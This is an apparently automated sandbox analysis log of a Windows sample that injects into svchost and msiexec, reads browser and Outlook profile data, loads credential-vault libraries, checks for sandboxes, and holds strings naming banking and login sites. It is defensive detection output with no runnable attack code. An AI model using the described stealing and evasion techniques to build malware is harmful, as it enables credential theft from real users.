Code function: 0_2_00FAA67C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

0_2_00FAA67C

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F9648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,

0_2_00F9648E

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F242A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_00F242A2

Source: C:\Users\user\Desktop\0XLuA614VK.exe

File created: C:\Users\user\AppData\Local\Temp\autC864.tmp

Source: 0XLuA614VK.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: msiexec.exe, 00000004.00000002.4488021727.000000000270A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000004.00000002.4488021727.00000000026DE000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000004.00000003.2390591193.00000000026DE000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000004.00000003.2392407706.00000000026E7000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 0XLuA614VK.exe

ReversingLabs: Detection: 60%

Source: unknown	Process created: C:\Users\user\Desktop\0XLuA614VK.exe "C:\Users\user\Desktop\0XLuA614VK.exe"
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\0XLuA614VK.exe"
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\0XLuA614VK.exe"	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\0XLuA614VK.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Source: 0XLuA614VK.exe

Static file information: File size 1296896 > 1048576

Source: 0XLuA614VK.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 0XLuA614VK.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 0XLuA614VK.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 0XLuA614VK.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 0XLuA614VK.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 0XLuA614VK.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 0XLuA614VK.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: msiexec.pdb source: svchost.exe, 00000002.00000003.2171842746.000000000301A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2171888846.000000000303B000.00000004.00000020.00020000.00000000.sdmp, sXmdPDASzrmzi.exe, 00000003.00000003.2279705899.00000000010A9000.00000004.00000001.00020000.00000000.sdmp, sXmdPDASzrmzi.exe, 00000003.00000003.2141716372.00000000010A5000.00000004.00000001.00020000.00000000.sdmp, sXmdPDASzrmzi.exe, 00000003.00000003.2141716372.000000000109B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: msiexec.pdbGCTL source: svchost.exe, 00000002.00000003.2171842746.000000000301A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2171888846.000000000303B000.00000004.00000020.00020000.00000000.sdmp, sXmdPDASzrmzi.exe, 00000003.00000003.2279705899.00000000010A9000.00000004.00000001.00020000.00000000.sdmp, sXmdPDASzrmzi.exe, 00000003.00000003.2141716372.00000000010A5000.00000004.00000001.00020000.00000000.sdmp, sXmdPDASzrmzi.exe, 00000003.00000003.2141716372.000000000109B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: sXmdPDASzrmzi.exe, 00000003.00000002.4487730096.000000000005E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: 0XLuA614VK.exe, 00000000.00000003.2044530612.0000000003A70000.00000004.00001000.00020000.00000000.sdmp, 0XLuA614VK.exe, 00000000.00000003.2044779565.00000000038D0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2203138542.0000000003600000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2111792201.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2203138542.000000000379E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2113590946.0000000003400000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000004.00000003.2203188667.00000000040B9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000004.00000002.4488723938.00000000045AE000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000004.00000002.4488723938.0000000004410000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000004.00000003.2212872655.0000000004267000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 0XLuA614VK.exe, 00000000.00000003.2044530612.0000000003A70000.00000004.00001000.00020000.00000000.sdmp, 0XLuA614VK.exe, 00000000.00000003.2044779565.00000000038D0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.2203138542.0000000003600000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2111792201.0000000003200000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2203138542.000000000379E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2113590946.0000000003400000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, msiexec.exe, 00000004.00000003.2203188667.00000000040B9000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000004.00000002.4488723938.00000000045AE000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000004.00000002.4488723938.0000000004410000.00000040.00001000.00020000.00000000.sdmp, msiexec.exe, 00000004.00000003.2212872655.0000000004267000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.00000000045EC000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4488021727.0000000002663000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000004A3C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.2496207434.000000003B6FC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: sXmdPDASzrmzi.exe, 00000003.00000002.4490540012.00000000045EC000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000004.00000002.4488021727.0000000002663000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000004.00000002.4489252166.0000000004A3C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000006.00000002.2496207434.000000003B6FC000.00000004.80000000.00040000.00000000.sdmp

Source: 0XLuA614VK.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 0XLuA614VK.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 0XLuA614VK.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 0XLuA614VK.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 0XLuA614VK.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F242DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

Found API chain indicative of sandbox detection

Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F40A76 push ecx; ret	0_2_00F40A89
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041A81A pushfd ; iretd	2_2_0041A81B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004160C3 push edx; retf 9A79h	2_2_0041611B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418167 push ecx; retf	2_2_00418168
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041699E push esi; retf	2_2_004169A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004249A3 push edi; ret	2_2_004249AE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004149BA push esi; retf	2_2_004149BB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00417A39 push edx; ret	2_2_00417A8A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00417A8B push edx; ret	2_2_00417A8A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00413B88 push ds; iretd	2_2_00413BAE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00413B93 push ds; iretd	2_2_00413BAE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00413C06 push ds; iretd	2_2_00413BAE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041CCFF push ds; ret	2_2_0041CD20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004034B0 push eax; ret	2_2_004034B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0041A6DB push eax; retf	2_2_0041A6DD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042C7D3 push esp; retf	2_2_0042C85F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_036309AD push ecx; mov dword ptr [esp], ecx	2_2_036309B6
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_0420D42B push esi; retf	3_2_0420D42C
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_0420F40F push esi; retf	3_2_0420F411
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_0421D414 push edi; ret	3_2_0421D41F
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_042104EC push edx; ret	3_2_042104FB
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_0420C5F9 push ds; iretd	3_2_0420C61F
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_0420C604 push ds; iretd	3_2_0420C61F
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_0420C677 push ds; iretd	3_2_0420C61F
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_04215770 push ds; ret	3_2_04215791
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_042178D0 push ds; retf	3_2_042178D9
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_0421314C push eax; retf	3_2_0421314E
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_042179E3 push edi; iretd	3_2_04217A0A
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_0421328B pushfd ; iretd	3_2_0421328C
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_04210BD8 push ecx; retf	3_2_04210BD9
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe	Code function: 3_2_06A3AE9C pushfd ; iretd	3_2_06A3AE9D

Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F3F98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_00F3F98E
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00FB1C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00FB1C41

Source: C:\Users\user\Desktop\0XLuA614VK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_0-98574

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\0XLuA614VK.exe	API/Special instruction interceptor: Address: 1163214
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FF8C88ED324
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FF8C88ED944
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FF8C88ED504
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FF8C88ED544
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FF8C88ED1E4
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FF8C88F0154
Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FF8C88EDA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_004160C3 rdtsc

2_2_004160C3

Source: C:\Users\user\Desktop\0XLuA614VK.exe	API coverage: 3.7 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.6 %
Source: C:\Windows\SysWOW64\msiexec.exe	API coverage: 2.4 %

Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe TID: 5884	Thread sleep time: -85000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe TID: 5884	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe TID: 5884	Thread sleep time: -54000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe TID: 5884	Thread sleep count: 50 > 30	Jump to behavior
Source: C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe TID: 5884	Thread sleep time: -50000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1848	Thread sleep count: 4400 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1848	Thread sleep time: -8800000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1848	Thread sleep count: 5572 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1848	Thread sleep time: -11144000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\msiexec.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F8DBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00F8DBBE
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F5C2A2 FindFirstFileExW,	0_2_00F5C2A2
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F968EE FindFirstFileW,FindClose,	0_2_00F968EE
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F9698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	0_2_00F9698F
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F8D076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00F8D076
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F8D3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00F8D3A9
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F99642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00F99642
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F9979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00F9979D
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F99B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00F99B2B
Source: C:\Users\user\Desktop\0XLuA614VK.exe	Code function: 0_2_00F95C97 FindFirstFileW,FindNextFileW,FindClose,	0_2_00F95C97
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 4_2_0012BF20 FindFirstFileW,FindNextFileW,FindClose,	4_2_0012BF20

Source: C:\Users\user\Desktop\0XLuA614VK.exe

Code function: 0_2_00F242DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

Source: 049zKJ78K.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 049zKJ78K.4.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: 049zKJ78K.4.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 049zKJ78K.4.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 049zKJ78K.4.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: 049zKJ78K.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: 049zKJ78K.4.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 049zKJ78K.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 049zKJ78K.4.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 049zKJ78K.4.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: firefox.exe, 00000006.00000002.2497621913.000001F87B5FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllII,rP
Source: 049zKJ78K.4.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 049zKJ78K.4.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 049zKJ78K.4.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 049zKJ78K.4.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 049zKJ78K.4.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: 049zKJ78K.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 049zKJ78K.4.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 049zKJ78K.4.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 049zKJ78K.4.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 049zKJ78K.4.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 049zKJ78K.4.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 049zKJ78K.4.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 049zKJ78K.4.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 049zKJ78K.4.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 049zKJ78K.4.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 049zKJ78K.4.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 049zKJ78K.4.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
